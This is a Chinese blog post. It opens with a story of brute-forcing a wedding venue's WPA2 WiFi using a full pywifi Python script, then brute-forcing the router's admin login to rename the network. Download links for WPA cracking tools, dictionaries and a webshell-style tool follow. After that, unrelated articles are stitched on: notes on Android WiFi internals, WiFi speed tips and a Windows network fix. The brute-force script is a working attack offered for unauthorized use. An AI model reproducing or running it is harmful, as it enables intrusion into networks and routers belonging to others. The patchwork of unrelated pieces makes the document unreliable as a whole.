大家好，我是Lex 喜欢欺负超人那个Lex
 
 
擅长领域：python开发、网络安全渗透、Windows域控Exchange架构
 
 
今日重点：① python暴力拿下WiFi密码；②python拿下路由器管理页面
 
 
代码干货满满，建议收藏+实操！！！有问题及需要，请留言哦~~
 
 
上次的故事是这样的
 
前女友发来加密的 “520快乐.pdf“，我用python打开之后，却发现。。。
 
事情是这样的
 
小哥哥还是来到了婚礼现场
 
在一个背靠角落的桌子前坐下
 
耳朵里塞满了 幸福到听不清的嘈杂声
 
闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼
 
 
一股莫名的感觉直往上冲
 
默默，掏出了笔记本 python开发工具
 

现场的WiFi名称叫："婚礼第一大厅"
 
 
python破解WiFi密码
 
1、安装pywifi和comtypes 两个模块
 
 
 
pip install pywifi
 
 
pip install comtypes
 
 
PS C:\Users\pacer> pip install pywifi

Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12

PS C:\Users\pacer> pip install comtypes

Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |████████████████████████████████| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>
 
2、生成8位密码
 
假设WiFi密码为8位纯数字
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
 
3、完整代码
 
使用pywifi模块，将wifi名称、密码配置进去，进行尝试。
 
import time
import pywifi
from pywifi import const

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对，连接失败，好气哦~~')
 
 
连接成功
 
一段时间后，连接成功。
 
 
拿到wifi密码之后
 
 
拿下路由器
 
1、路由器管理地址
 
路由器管理页面登录地址一般都是，192.168.0.1 或者 192.168.1.1访问路由器的链接地址。
 
http://192.168.0.1/
 
2、路由器登录提交分析
 
通过页面提交密码测试，发现密码是明文提交服务器验证的。
 
如下图
 
 
3、循环提交请求
 
通过循环提交路由器登录密码，通过工具post循环提交路由器的登录密码。
 
成功登录，拿下路由器
 
 
修改WIFI的名称
 
登录路由器界面，修改“婚礼第一大厅”WIFI名称
 
 
 
故事结尾
 
一切结束了，站起身，最后看了一眼
 
在交相辉映的灯光下
 
大大的合照上，手捧着鲜花 那张放肆笑着的脸
 
 
 
WiFi名改好了，告辞~
 
 
 
 
------------------THE END-------------------------
 
 
【渗透测试相关工具下载】
 
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
 
https://download.csdn.net/download/weixin_42350212/13721381
 
Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】
 
https://download.csdn.net/download/weixin_42350212/13668542
 
【kali常用工具】brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
https://download.csdn.net/download/weixin_42350212/13721381
 
【kali常用工具】EWSA 5.1.282-破包工具
https://download.csdn.net/download/weixin_42350212/13704097
 
【kali常用工具】Realtek 8812AU KALI网卡驱动及安装教程
https://download.csdn.net/download/weixin_42350212/13703770
 
【kali常用工具】无线信号搜索工具_kali更新
https://download.csdn.net/download/weixin_42350212/13703729
 
【kali常用工具】inssider信号测试软件_kali常用工具
https://download.csdn.net/download/weixin_42350212/13703705
 
【kali常用工具】MAC地址修改工具 保护终端不暴露
https://download.csdn.net/download/weixin_42350212/13703597
 
【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
https://download.csdn.net/download/weixin_42350212/13754997
 
【kali常用工具】上网行为监控工具       
https://download.csdn.net/download/weixin_42350212/13985799
 
【kali常用工具】抓包工具Charles Windows64位 免费版
https://download.csdn.net/download/weixin_42350212/15898652
 
【kali常用工具】图印工具stamp.zip
https://download.csdn.net/download/weixin_42350212/14980915
 
 
CSDN官方学习推荐 ↓ ↓ ↓
 
CSDN出的Python全栈知识图谱，太强了，推荐给大家！
 
​
 
推荐阅读
 
python实战
 
【python实战】前女友发来加密的 “520快乐.pdf“，我用python破解开之后，却发现。。。
 
【python实战】昨晚，我用python帮隔壁小姐姐P证件照 自拍，然后发现...
 
【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密
 
【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动
 
【python实战】女神相册密码忘记了，我只用Python写了20行代码~~~
 
pygame系列文章
 
一起来学pygame吧 游戏开发30例（二）——塔防游戏
 
一起来学pygame吧 游戏开发30例（四）——俄罗斯方块小游戏 
 
一起来学pygame吧 游戏开发30例（五）——消消乐 小游戏

Wifi 网卡状态
 
1. WIFI_STATE_DISABLED: WIFI网卡不可用
 
2. WIFI_STATE_DISABLING: WIFI正在关闭
 
3. WIFI_STATE_ENABLED:WIFI网卡可用
 
4. WIFI_STATE_ENABLING:WIFI网卡正在打开
 
5. WIFI_STATE_UNKNOWN:未知网卡状态
 
 
WIFI 访问网络需要的权限
 
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE">
 
</uses-permission>修改网络状态的权限
 
<uses-permission
 
android:name="android.permission.CHANGE_WIFI_STATE">
 
</uses-permission>修改WIFI状态的权限
 
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE">
 
</uses-permission>访问网络权限
 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE">
 
</uses-permission>访问WIFI权限
 
 
WIFI 核心模块
 
n WifiService
 
由SystemServer启动的时候生成的ConnecttivityService创建，负责启动关闭wpa_supplicant,启动和关闭WifiMonitor线程，把命令下发给wpa_supplicant以及跟新WIFI的状态
 
n WifiMonitor
 
负责从wpa_supplicant接收事件通知
 
n Wpa_supplicant
 
1、读取配置文件
 
2、初始化配置参数，驱动函数
 
3、让驱动scan当前所有的bssid
 
4、检查扫描的参数是否和用户设置的想否
 
5、如果相符，通知驱动进行权限 认证操作
 
6、连上AP
 
n Wifi驱动模块
 
厂商提供的source,主要进行load firmware和kernel的wireless进行通信
 
n Wifi电源管理模块
 
主要控制硬件的GPIO和上下电，让CPU和Wifi模组之间通过sdio接口通信
 
 
Wifi工作步骤
 
n Wifi模块初期化
 
n Wifi启动
 
n 查找热点（AP）
 
n 配置AP
 
n 配置AP参数
 
n Wifi连接
 
n IP地址配置
 
 
Wifi模块代码总结
 
n Wifi Application代码
 
packages/apps/Settings/src/com/android/settings/wifi
 
n Wifi Framework
 
frameworks/base/wifi/java/android/net/wifi
 
frameworks/base/services/java/com/android/server
 
n Wifi JNI
 
frameworks/base/core/jni/android_net_wifi_Wifi.cpp
 
n Wifi Hardware
 
hardware/libhardware_legacy/wifi/wifi.c
 
n Wifi tool
 
external/wpa_supplicant
 
n Wifi kernel
 
net/wireless drivers/wlan_sd8688 arch/arm/mach-pxa/wlan_pm.c
 
 
Wifi模块的初始化:
 
在 SystemServer 启动的时候，会生成一个ConnectivityService 的实例, ConnectivityService 的构造函数会创建WifiService，WifiStateTracker 会创建WifiMonitor 接收来自底层的事件，WifiService 和WifiMonitor 是整个模块的核心。WifiService 负责启动关闭wpa_supplicant、启动关闭WifiMonitor 监视线程和把命令下发给wpa_supplicant，而WifiMonitor 则负责从wpa_supplicant 接收事件通知。
 
 
 
Wifi模块的启动:
 
WirelessSettings 在初始化的时候配置了由WifiEnabler 来处理Wifi 按钮，
 
当用户按下Wifi 按钮后，Android 会调用WifiEnabler 的onPreferenceChange，再由WifiEnabler调用WifiManager 的setWifiEnabled 接口函数，通过AIDL，实际调用的是WifiService 的setWifiEnabled 函数，WifiService 接着向自身发送一条MESSAGE_ENABLE_WIFI 消息，在处理该消息的代码中做真正的使能工作：首先装载WIFI 内核模块（该模块的位置硬编码为"/system/lib/modules/wlan.ko" ）， 然后启动wpa_supplicant （ 配置文件硬编码为"/data/misc/wifi/wpa_supplicant.conf"），再通过WifiStateTracker 来启动WifiMonitor 中的监视线程。
 
 
 
 
查找热点（AP）:
 
（Wifi开启）中讲到Wifi模块开启后会对外发送WIFI_STATE_CHANGED_ACTION。WifiLayer中注册了Action的Receiver。当WifiLayer收到此Action后开始scan的流程，具体如下
 
 
当wpa_supplicant 处理完SCAN 命令后，它会向控制通道发送事件通知扫描完成，从wifi_wait_for_event 函数会接收到该事件，由此WifiMonitor 中的MonitorThread 会被执行来出来这个事件：
 
 
配置 AP 参数:
 
当用户在 WifiSettings 界面上选择了一个AP 后，会显示配置AP 参数的一个对话框：
 
 
 
Wifi连接:
 
 
 
 
IP地址的配置:
 
 
 
 

手机wifi速度慢真是很让人苦恼，有什么有效的wifi提速方法吗?当然有啦~绿茶小编今天就为大家带来了提升wifi速度的十大方法，能激活wifi表现，提升无线网络哦，快来看看吧!
 
十大方法瞬间提升wifi速度：
 
　　每当我们谈到要提高Wi-Fi的无线速度时，一般都会结合无线的传输距离和传输速度两方面来考虑，为什么呢?因为假设在无线路由器的旁边，获得了很快的无线速度，可一旦走远一些就没有信号的话，那么前面所说的无线速度就变得毫无意义了，这时我们就需要提升无线传输的距离。而如果距离无线路由不远，打开网络图片却很慢的话，则表明该为无线传输提速了。那么在给出提升Wi-Fi表现的方法前，先来了解下削弱无线传输都有哪些因素吧。
 
　　除了无线路由器、无线终端等自身的产品质量问题外，还有很多外在因素要对缓慢、不稳定的无线传输进行负责，那么就先看看都有哪些因素吧。
 
　　影响wifi速度的因素：
 
　　首先就是上面提到的距离问题：
 
　　在家庭无线网络中，Wi-Fi的传输距离是影响无线速率的重要因素。Wi-Fi实际是通过无线电波进行传送的，而无线电波由于自身的物理特性，是存在衰减问题的。当无线电波遇到障碍物还会发生反射、折射或衍射等现象，这些都限制了Wi-Fi在传输距离上的拓展。
 
　　一提到障碍物，大家一定都想到了墙体，其实不只有墙，像木板、玻璃、瓷砖、镜子、金属制品等都会衰减无线电波，甚至还包括水和纸哟，而承重墙、混凝土楼板等更是无线电波的最大障碍。下面就为大家展现下，不同材质的障碍物对Wi-Fi的衰减损耗。
 
 
　　再有就是无线信号的干扰问题：
 
　　Wi-Fi会受到电磁干扰，这也是由无线电波自身的物理特性所决定的，是不可抗因素。如果在同一区域无线信号源数量过多，特别是发生在相邻的信道时，无线信号的干扰就会越严重。因此，如果你住在一座大型公寓楼里的话，你的无线网络很可能会被邻居的无线信号所淹没，而表现不佳。
 
　　而且由于现在我们身边的无线设备越来越多，如蓝牙设备、微波炉、清洗机和烘干机等无线家电都在使用2.4GHz公共频段进行工作，这也是干扰你无线网络的“凶手”哟。
 
 
　　不过不用担心，上述只是干扰Wi-Fi信号的几个因素。幸运的是，我们也有许多拓展无线信号好方法，而且其中一部分不用花钱，只需要我们对无线设备进行一点点调整，一起来看看吧。
 
　　提升wifi速度的十大妙招：
 
　　那么到底如何才能够轻松而有效地来提升Wi-Fi表现呢?下面将以用户所需投入资金的多少和需求为角度，来为大家展开介绍。
 
　　免费方法一：改变无线路由器的位置
 
　　你是不是将无线路由器和运营商提供的宽带调制解调器放到了一起呢?其实大可不必，虽然它们都是网络设备，放到一起方便管理，但实际上无线路由器应该摆放在你无线活动的中心地带，来为你的无线应用提供一个最佳的无线覆盖。
 
　　因为不论何种品牌的无线路由器，其有效覆盖范围是有限的，从几十米到上百米不等。在这个范围以内，Wi-Fi表现是较为快速稳定的。可如果超出这个范围的话，无线信号便会开始衰减，即便有再好的电脑，再强的无线终端，那么通过无线来看网络视频，也会产生较大延迟。
 
　　而且通过查看前面障碍物对Wi-Fi的干扰图表，建议大家摆放无线路由器时，尽可能地避开阻碍性最强的上述物体，减少死角。
 
　　免费方法二：改变无线频段或信道
 
　　现在支持2.4GHz和5GHz双频段的无线产品逐渐普及，鉴于应用在5GHz频段的家用级无线设备并不丰富，用户可以将路由器切换到5GHz频段进行使用，Wi-Fi速率便会有明显提升。
 
　　而对于一般的2.4GHz单频段无线路由器来说，提升Wi-Fi的手段则可以采用改变路由无线信道的方法进行。一般单频无线路由器将频段分为11或13个信道，如果不加调整的话，路由器会使用它的默认信道，那么增加了使用相同信道的几率，令无线信号相互冲突、干扰，降低无线传输质量。这时可以使用inSSIDer，来检测所处环境的信道占用情况。
 
 
　　用inSSIDer可查看其它无线信号源所使用的信道(如黄框内所示)
 
　　inSSIDer是一个免费的无线检测软件，用它可以查看其它无线信号源所使用的信道，如上图的黄框内所示，然后切换到一个不太拥挤的信道，像8或9上。还需要注意的是，一个信道的信号会同时干扰与其相邻的两个信道，即信道6的信号会影响到信道5和信道7，所以我们在设置无线信道的时候，应该选择离其他信号源的信道两个以上。
 
　　免费方法三：升级路由器固件
 
　　固件是一种嵌入在硬件当中的控制程序，对于路由器的性能有重要影响。更新路由器的固件是无线用户常常忽视的一步，就像软件必须定时更新一样，无线路由器也需要常常检查更新来修补Bug，并提升设备的运作效能。例如，某品牌的路由器进行固件更新后，无线传输速率提升了近百兆，Wi-Fi提升明显。
 
 
　　不像软件更新那么方便，路由器的固件更新常常需要去路由器制造商的网站进行搜索更新，然后通过路由器的Web界面进行上传。虽然有时更新固件，并不能直接拓展无线信号，但对路由器稳定度的提高，是有相当帮助的。
 
 
继续来看提升wifi速度的方法吧~
 
　　免费方法四：升级无线适配器固件
 
　　无线适配器是使电脑或移动终端可以利用无线方式来上网的一个“接收”(实际也支持发射)装置，与其配套的则是具有无线发射功能是无线路由器或者无线AP。无线路由器和无线适配器必须搭配使用，才能连接无线网络上网。如果无线适配器性能较弱，就会对无线路由器的传输产生瓶颈，无法发挥出其最好性能。
 
　　所以说，无线适配器也是无线路由器进行无线传输的重要“伙伴”，除了拥有一款出色的无线路由器外，要有能与之相配的无线适配器，才能保证良好的无线覆盖范围和传输性能。
 
　　而大多数笔记本电脑都采用的是集成适配器，以Windows操作系统为例，可通过“控制面板”进入网络设置适配器的管理界面，来找出它的名称，然后找到该适配器的制造商网站，来确保获得最新的固件。
 
 
　　免费方法五：使用第三方固件
 
　　除了为无线路由器即使更新官方固件之外，还有一种俗称“刷机”的方法，可为无线路由器安装由私人开发的第三方固件，如Tomato、DD-WRT、OpenWRT等。
 
 
　　上述第三方固件可以提升路由器的性能，也包括提高无线传输性能，并扩展出更为丰富路由器的功能设置。但就像PU超频一样，它既可以充分发挥出路由器硬件的性能，也存在着相当大的风险。
 
　　但基于对设备的稳定性考虑，多数的路由器制造商不支持“刷机”，一旦“刷机”失败，是不提供保修的。
 
　　所以对于不了解第三方固件的用户，不建议使用，因为一不小心你的无线路由器就可能报废变成砖块，这个方法只适合专业级的玩家使用。
 
　　经济方法六：架设第二台路由进行无线中继
 
　　使用无线中继来进行Wi-Fi拓展，你需要拥有第二台无线路由器，这是个简单快速的无线拓展方法。无线中继模式可以进行一点对多点的桥接，在延长了无线信号传输距离的同时，使用无线中继模式的无线路由器也可以接受其他无线设备的接入，覆盖方式更为全面灵活。
 
 
　　但虽然使用无线中继能够有效拓展无线信号，但因为增加了中继的流程，会导致网络带宽的占用，而让无线速度下降。再考虑到信号耗损的问题，如果原本网络就不够快的话，那么即使通过无线中继而扩大了无线范围，速度提升也可能不明显。而且需要注意，二台无线路由都需要支持WDS中继模式。
 
　　经济方法七：升级天线
 
　　由于Wi-Fi信号传递是通过天线来进行收发的，所以市面上也有不少单独的增益天线产品，让使用者可以更换无线路由器或网卡上的天线，当然这些设备必须支持天线的可拆卸。
 
　　根据在水平面方向上天线发射和接收的不同，可将天线分为全向天线、定向天线和扇面天线。全向天线可以接受水平方向来自各个角度的信号和向各个角度辐射信号。而定向天线是指天线在对某个特定方向传来的信号特别灵敏并且发射信号时能量也是集中在某个特定方向上。扇面天线是界于定向与全向之间的一种天线。
 
 
　　天线规格上的dBi，表示是天线的增益值，增益值越高，横向距离的收发能力就越远，但垂直距离的收发能力就会被牺牲掉，且依室内环境的不同，信号折射的状况也不一致，所以不论是全向性或定向性天线，仍必须调整天线角度，以获得最佳的无线网路覆盖率。
 
　　昂贵方法(八)：部署专用无线中继器、拓展器
 
　　现在市面上大多数的无线路由器，都已经可以作为无线中继器或无线拓展器来使用。可是如果使用它们来进行Wi-Fi信号扩展的话，设置可能会非常麻烦、棘手，而且可能会由于兼容性问题，搭建不了。
 
 
　　这时对于大户型房间或LOFT户型，部署专用无线中继器、拓展器就变得非常必要。而且由于是专属拓展产品设置相对容易，只是一般单独的无线中继器、无线拓展器的售价都不菲，从几百元到千元不等，建议不差钱用户可以选择。
 
　　昂贵方法(九)：部署最新的无线路由器、适配器
 
　　为了获得更流畅、广阔的无线网络，可以部署最新的802.11ac无线路由器和无线适配器。
 
　　802.11ac产品有多重优势，从传输速度和功耗方面看，802.11ac方案可提供3倍于802.11n的无线速率，并将功耗降低为以前的1/6。其次，在使用的频谱方面，802.11ac使用80/160MHz频道，将带宽扩大了4倍。同时利用更高速的256 QAM调制方案，实现了高效率数据传送，降低了能耗。而且802.11ac利用波束成形技术实现了更高的可靠性、更长的传输距离和更大的覆盖范围。
 
 
　　因此用户可选择配套的802.11ac无线产品，以获得更为快速而覆盖广阔的无线网络。
 
　　昂贵方法(十)：向厂商定制专有无线方案
 
　　对于别墅级用户来说，如果上述方法仍无法满足你的无线覆盖、传输需求，除了选购专用的无线拓展设备外，还可以向网络设备厂商咨询或定制专有的无线解决方案，来为你量身打造一套有效的无线接入方式。
 
　　总结：通过上述介绍，相信大家也对提升Wi-Fi表现有了一定的认识。大家可以先从无线路由器的配置入手，调整好内部配置后，在找寻外部可能的干扰原因。通过正确的部署、摆放和设置，来提高Wi-Fi性能。而且用户可根据自己的实际情况和需求，对上述方法进行选择。希望上述简单可行的实用方法，可以帮助大家轻松享受无线生活带来的便利，进一步提升家中无线信号的体验。

笔记本电脑不显示WIFI列表无法连接到网络的解决办法
 
笔记本电脑WiFi列表不显示，如下图：
 
 以下以Win10系统来操作演示解决办法；
 
（一）检查网卡驱动是否正常
 
笔记本电脑突然不显示WiFi列表，多半是因为无线网卡驱动丢失，所以我们首先看看网卡驱动是否正常，操作方法是 在 此电脑 上右键 管理 设备管理器
 
 在设备管理器中找到 网络适配器 看有没有黄色问号标志，如果没有，则证明网卡驱动正常 ：
 
 如果有黄色的标志，那么就装一下网卡驱动，可以用另一台有网电脑去驱动精灵的官网下载那个万能网卡版，链接如下：
 下载链接
 下载完成后把安装包拷在U盘中，然后转移到没网的电脑上安装网卡驱动。
 如果网络适配器中没有黄色标志，那么采用第二种方法。
 
（二）重置网络配置
 
如果检查完毕网卡驱动没问题，那么我们就重置下网络配置，操作如下，在开始菜单Windows系统中找到CMD，以管理员身份运行CMD，
 

 
 打开后在命令行中输入netsh winsock reset按回车
 
 然后重启电脑就行了，
 
 
这里可以看到WiFi已经可以连接上。
 
Win7系统原理一样。
 
有用了记得点个赞呦~